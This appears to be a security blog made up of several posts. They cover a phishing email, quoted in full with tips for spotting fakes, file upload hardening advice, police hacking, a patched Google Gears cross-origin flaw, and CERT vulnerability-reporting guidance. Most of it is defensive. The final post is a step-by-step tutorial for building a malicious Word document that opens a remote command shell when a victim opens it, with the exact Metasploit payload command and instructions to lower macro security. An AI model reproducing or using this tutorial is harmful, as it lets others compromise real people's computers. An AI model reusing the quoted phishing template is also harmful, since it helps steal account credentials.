Some issue at Yahoo??? Your accounts can be deleted…

I received a mail stating that there are some congestions in Yahoo-accounts service and hence they will be closing down unused accounts. They wanted me to send them few of my personal details. If I fail to do so my account will be discontinued. Who will want their account to be discontinued which they have been using for a long time? So should I send them my details? The mail which I received was:

——————————————————————————–

From:”Yahoo-account-services”
To:undisclosed-recipients
Due to the congestion in all Yahoo-accounts, Yahoo! would shut down all unused
accounts. In order to avoid the deactivation of your account, you will have to confirm your e-mail by
FILL-IN  your Login Info below by clicking the reply button. The personal information requested are
for the safety of your Yahoo! account. Please LEAVE all information requested.

 

Your Username:——————— ——-
Your Password::——————– ——–
Your Date Of Birth:———————— -
Your Occupation:——————- ———
Your Country Of Residence:—————-
After you must have followed the instructions in the sheet, your Yahoo! account will not be interrupted and will continue as normal. Thank you for your usual co-operation. We apologize for any inconvenience.
Yahoo! Customer Care

——————————————————————————————————–
Well many innocent people may fall to prey and end up sharing their personal information along with their login credentials.

You should understand that no mail service provider or any bank or any legitimate site will ask for your login credentials (username & password) on mail nor will direct you to any site which would collect the same.However there are sites which would ask you to log into the site else your id would be temporarily disabled. This is the part their policy which requires users to log into the site atleast once in a month or 3 months or so. But even they will not ask your personal info. They will simply require you to log into their site.

Such type of mails are called phishing mails & the people behind it are called phishers. You should understand the difference between a legitimate site/mail & a phishing one.

Tips for the day are:

1. Bookmark your financial/banking sites.

2. Prefer typing web address in URL rather than clicking on any suspicious link.

3. Always remember your banking sites or any other site will never ask for your personal information. But if you strongly feel the mail may be legitimate but don’t want to take any chances, simply call up their support desk for any clarification. Also remember to refer to help line number from their site rather than dialing the  number mentioned on the suspicious mail.

4. Also check the source of mail generation. Well this can be easily spoofed easily but in few cases, they don’t when they expect the victim to reply back the mail like in my case. Even if the phisher has spoofed the name as Yahoo-account-services, the email id remains ACfalcon@aol.com. Think why would yahoo send you such mails through AOL or with such ids like ACfalcon.
There are few sites available online which can help you  understand the difference between a legitimate & phishing site. Some of my favorites are http://www.sonicwall.com/phishing/index.html & http://www.uakron.edu/its/learning/training/Phishing.php

Have a happy phishing free life!!! :D

Share

File upload security recommendations

In my security career, I have always found file upload module to be one of the most favorite playground for hackers. There are many detailed documents mentioning the guidelines for following secure upload mechanism. Going through them will surely give you a sense of high level of insecurity in file upload module.

So jotted down points which I would take care or recommend for secure uploads.

Proper file type checks: Check for atleast basic parameters like filesize, mime-type etc and allow only a selected MIME type wherever possible. Make a white-list of file extensions to be allowed for upload. Try to keep away from executable files and scripts where possible. Set minimum and maximum file size for upload. This will prevent Dosing the webserver by uploading huge files and exhaust the storage space.
Random filenames and folder: Do not allow user input to specify the destination directory or file name of uploaded documents. Good practice is to rename the document to some random value and track them in your Database. In short guessing the name of the uploaded file should be made difficult for the attacker.

Upload Directory Security: Upload all files outside your web directory. Possibly separate the upload directory from application and system directories/drive. This can help mitigate issues related to resource exhaustion & directory traversal. Set proper folder permissions (chroot() ). Do not allow user to choose the upload folder. Avoid giving writable permissions to users. Instead webserver like apache can be given writable permissions while preventing users from RWX access on the upload folder.

Prevent users from directly accessing the files in the upload directory. Files can directly be stored on the server or other alternative would be to store the files as blobs in database instead. However blobbing for very large files can affect DB performance and also the malicious data if uploaded will be directly saved in database without validating.

Neutering the file like renaming it to some random value or XORing or compressing the file in some way so that the OS doesn’t interpret it as executable etc. will help increase the security barrier.

Anti Virus Scan: Scan the upload files for any virus or malicious content. You can even try out ModSecurity which has a feature for inspecting files on upload, which you can combine with some antivirus. The advantage is that you get to block the HTTP request before the file even gets into your system. Alternatively files can also be scanned immediately just after it is uploaded. Both are affective in their own way and can be adapted accordingly depending on their implementation challenges. Other content filtering techniques include icap or CVP which are worth a thought.

File name Validation: While allowing users to upload the files, we allow them to specify the name the files should be referred to. Application should validate these file names for any XSS attacks.

Uploading and saving uploaded sensitive documents in encrypted form: Sensitive data needs to be uploaded via SSL and saved on the server in encrypted form to protect against eavesdropping. The file can also be encrypted while uploading instead of doing so while saving on the server. There are different products which can help you do this like AspEncrypt etc.

 

Page tokens: Use unique tokens for upload forms. This can help mitigate the less known Cross-site File Upload Attacks. Thus the attacker cannot upload malicious or illegal content on victim’s account. And if the victim is a web-admin, attacker can help himself upload any malicious file to the directories which is otherwise restricted to other users.

Error page: Do not reveal too much info in the error page like the directory path etc which can help attacker in further attack. Use customized error page.

Proper verb: HTTP POST verb is preferred over HTTP PUT or GET verb as it is comparatively more secure.

ACL: Limit “upload module” access to required users or groups wherever possible.

Logging user activities: Log all activities of the user like in this case, IP of user, size of the file, directory to which file was uploaded etc. This is help us know if any attacks were made against your server and if they were successful.

Share

Police hacking

Recent news that UK government approving Police hacking into suspected home computers has caused a bubble in the info-sec world. They can hack into private computers either by sending an e-mail containing a virus to the suspect’s computer or breaking into a residence to install a keystroke logger onto a machine or simply place a surveillance van in the vicinity of a wireless network to intercept the traffic. Computers of users who are suspected of terrorism, pedophilia or identity or credit card theft will be targeted.

They have even asked the security product/services providers to stop detecting/blocking their keyloggers and other spyware tools. However few security vendors have raised an issue and expressed their inability to cooperate with the federals. As per Znet, security vendors Kaspersky Labs and Sophos told ZDNet UK that they would not make any concession in their protective software for the police hack. Symantec has not commented on this. However in the past they have Symantec has said that its antivirus software will not scan for the FBI’s Magic Lantern keylogging software. This is a spyware program that the Feds can hack into your machine to log and report all keystrokes back to them.

I personally find this very scary and “privacy intruded” and since conceptually there’s no difference between a malicious code and the one used for the Government, there are BIG chances that an AV can miss it!!!

This means punching a BIG hole in the security device which in turn is surely a big Boom for malware authors. If Cops drop a trojan on suspect’s system installed with antivirus software white-listing Police hacking tools and if this suspect turns out to a prestigious member of underground malware writers, then he can reverse engineer the cop-hack-tool to write his own code and compromise more such systems.

I personally feel Kaspersky Labs and Sophos are really doing a good job by taking their stand on not creating a backdoor for malware writers.

Share

Breaking Google Gears’ Cross-Origin Communication Model

I cam across this interesting article at watchfire. The team there were able to exploit the Google gear infrastructure in order to perform malicious activities.

Gears is a browser extension that allows developers to create richer and more responsive web-applications. One of its key features is the ability to create web-applications that can run both online and offline transparently.
Some of the capabilities Gears introduces are:

  • A local server, to cache and serve application resources (HTML, JavaScript, images, etc.) without needing to contact a server
  • A database, to store and access data from within the browser
  • A worker thread pool, to make web applications more responsive by performing expensive operations in the background
  • The HttpRequest API, which implements a subset of the W3C XmlHttpRequest specification
  • A Geolocation API that enables a web application to obtain a user’s geographical position

To brief the attack, attacker needs to create a text file that contains (malicious) Google Gears commands. He can then put the text content into a target domain by say uploading it to target domain through image files. Attacker then creates a web page which has to be approved for using Google-Gears or the one that hosts user-created content and contains some Google Gears code that loads and executes the malicious code. The code now will run in the context of victim and hence will have permissions to access Google Gears client-side objects such as the DB, the local server data or web resources. This  information can then be leaked back to attacker’s web page using Google Gears’ standard messaging mechanism.

Google Team have patched this issue. The fix is based on a special Google-Gears Content-Type header value (application/x-gears-worker) that must be sent by the web-server when it serves Google-Gears worker code files without that value the loading of such worker files is denied.
Full explanation of google gears can be found here.

Share

Communication of product security Issues.

Chad Dougherty of the CERT Vulnerability Analysis team posted an article on some guidelines the vendor can follow so that their product vulnerability can be communicate to them. Security Experts always try to stick to responsible Full Disclosure rules before making any vulnerability public. So if they are unable to contact the vendor for a long period of time, the vulnerability is made public which can in turn affect it’s many users. To brief the recommendations:

1. Vendor must provide an easily identifiable role email address specifically for product security issues such as “product-security@”, “security-team@”, “security-response@”. Use of standard email addresses such as “info@”, “support@”, and “webmaster@” for the security point of contact as these email ids may be receiving other generic mails too and critical vulnerability information can easily be overlooked or mishandled.

2. Providing a web-based reporting form can help to maintain the vulnerability information in well structured manner that can later be reffered too.

Sample vulnerability reporting form can be found here.

3. Since the vulnerabilities contain sensitive information, it is recommended to encrypt the vulnerability details while generating reports or sending mails to concerned person.

4. Vendor must provide a web-page at “/security” like in “www.product.com/security” which will contain security related issues regarding the product. This can be the information base of all security documents and known security issues pertaining to the product.

5. Send out “signed” email to customers/partners regarding the vulnerability and the patch details which can help them mitigate the issue.

The article concludes with

Vendors’ attention to product security is receiving increased scrutiny in security and IT communities.  Presenting organized methods for communicating product security information is an important element to demonstrating to customers (both current and potential), security researchers, the media, and the general public that you have at least some awareness of and commitment to security. 

Share

Writing malicious macros using metasploit

This is actually a nice little feature of Metasploit which many of us are not aware. Here I will guide you through this.

Metasploit is nice tool written in ruby and very useful to penetration testers (and script kiddies) It provides good information on exploit techniques and is also a useful resource for exploit developers and security professionals. Latest release is 3.1 version as of now and its upcoming version 3.2 will be more hack-pack.

Enough of insight into metasploit, now back to action. We will create a malicious .doc file which will spawn a tcp shell on port 8888 on simply opening the file. However remember that MACROs must be enabled on victim’s system.
1. Go to Start–>All Programs–>Metasploit–>CMD SHELL.

2. type cd %APPDATA%
3. Next type in: ruby msf3/msfpayload windows/shell_bind_tcp LPORT=8888 V > macro.vba
4. Now to use this malicious vba file, open Microsoft Word/Excel.

5. Go to tools–>Macros–>Visual Basic Editor. Copy the contents of vba file and paste in the VB editor.


6. To enable macro tools–>Macros–>Security. Select the security level as low.

You get this alert window up when macro is disabled.

7. Now save the doc file.

8. On opening the seemingly harmless file, it will automatically spawn a cmd shell on port 8888.

Telnet on that port to spawn a command shell.


So now we have a malicious doc ready for action. We can use any available payload like connect back to attacker or even vnc inject payload. Hope this is helpful.

Share